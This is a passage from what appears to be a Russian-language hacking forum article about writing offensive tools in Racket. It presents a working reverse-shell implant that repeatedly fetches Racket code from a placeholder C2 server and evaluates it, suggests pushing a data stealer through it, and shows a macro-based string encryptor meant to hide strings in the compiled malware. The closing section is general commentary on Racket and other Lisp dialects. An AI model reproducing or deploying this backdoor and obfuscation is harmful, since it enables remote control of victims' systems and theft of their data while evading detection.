Напишем реверс шелл, но не тот что получает команды и просто вызывает их через cmd. А тот, что получает код на Racket и выполняет его в живой системе. Это позволит нам сделать своего рода "закладку" и весь необходимый код подгружать в программу динамически. Помните, что вес хэллоуворлда был 2 мб? Это потому что этот исполняемый файл тащит с собой весь образ (то есть весь Racket).

Код: Скопировать в буфер обмена
Код:
#lang racket

(require net/http-easy)

(define server "YOUR_C2_ADDRESS")

(let loop ()
  (define command
    (hash-ref 'command (response-json (get server))))
  (eval (read (open-input-string command)))
  (sleep 5)
  (loop))

По коду все достаточно просто - импортируем библиотеку для изи запросов, задаем адрес нашего С2 сервака и далее в бесконечном цикле запрашиваем команду, парсим и исполняем.

Можно передать команду "(define (steal path) ...)" и реализовать стилер на лету. Ну или что-то другое, на ваш вкус.

PoC Cryptor

Окей, давайте раз уж я столько внимания уделил макросам, поиграемся и с ними тоже. Реализуем шифрование строк, чтобы они не валялись у нас в открытом виде в коде программы.

Начнем со строк. Тут нам понадобится один макрос и одна функция. Для наглядности я не буду использовать какой-то сложный алгоритм шифрования. Просто возьмем строку и перевернем ее.
Код: Скопировать в буфер обмена
Код:
(define-syntax (encrypt stx)
  (let* ((s (syntax->datum (cadr (syntax->list stx))))
         (enc-s (list->string (reverse (string->list s)))))
    (datum->syntax stx `(decrypt ,enc-s))))

Тут внимательный читатель может собственными глазами увидеть то, о чем я говорил в части про макросы - это нетривиально в плане преобразований типов туда-обратно и нужно быть очень аккуратным.

Теперь, нам всего лишь достаточно все строки в коде заменить на (encrypt "ABC"), и во время компиляции этот макрос развернется в (decrypt "CBA").
Осталось реализовать функцию decrypt и добавить ее в наш код:
Код: Скопировать в буфер обмена
Код:
(define (decrypt s)
  (list->string (reverse (string->list s))))

Ну вот и все, теперь все строки в нашем коде программы будут зашифрованы и расшифровываться только в рантайме. При этом в сорцах мы все так же пишем нормальный текст, но в итоговом софте он нигде не будет фигурировать.

Заключение

Сегодня у нас в гостях был язык Racket.

Изначально проект разрабатывался в качестве среды для обучения программированию, и на мой взгляд с этой задачей справляется на все сто.

На мой взгляд Racket - отличный язык, для того чтобы познакомиться с языками семейства Лисп и понять, ваше это или нет. Хорошая документация, много примеров и библиотек. Есть прикольные книги с интересными учебными проектами (в сфере геймдева, например, Realm of Racket).

Но, как я уже говорил не раз, Racket - отличный учебный язык. И многие вещи здесь реализованы слишком чисто и строго, как будто для работы в лабораторных условиях. Для боевых задач Racket тоже подходит, но является не лучшим выбором.

Пощупайте. Проникнитесь. Поймите ваше это или же скобочки бесконечно бесят.
А потом просто воспользуйтесь тем, что у языка Scheme куча реализаций, и вы можете выбрать любую из них. Например, Chicken или Gambit с трансляцией в С. Если писать в стандарте R6RS, то код будет максимально совместим.

И конечно, в чем Racket реально хорош - так это в простом и быстром проектировании новых языков. Если эта задача входит в область ваших интересов, и опять же, скобочки не напрягают - отличный выбор (намного лучше, чем тот же Red).

Ну и конечно же Racket - отличный разгон перед изучением Common Lisp. Можно в лабораторных условиях привыкнуть к особенностям языка и синтаксису, а потом приходить к бородатым дядям и делать реальную грязь :D

На этом пожалуй все, спасибо за внимание!
С вами был Патрик.
Специально для XSS​
 
Сверху Снизу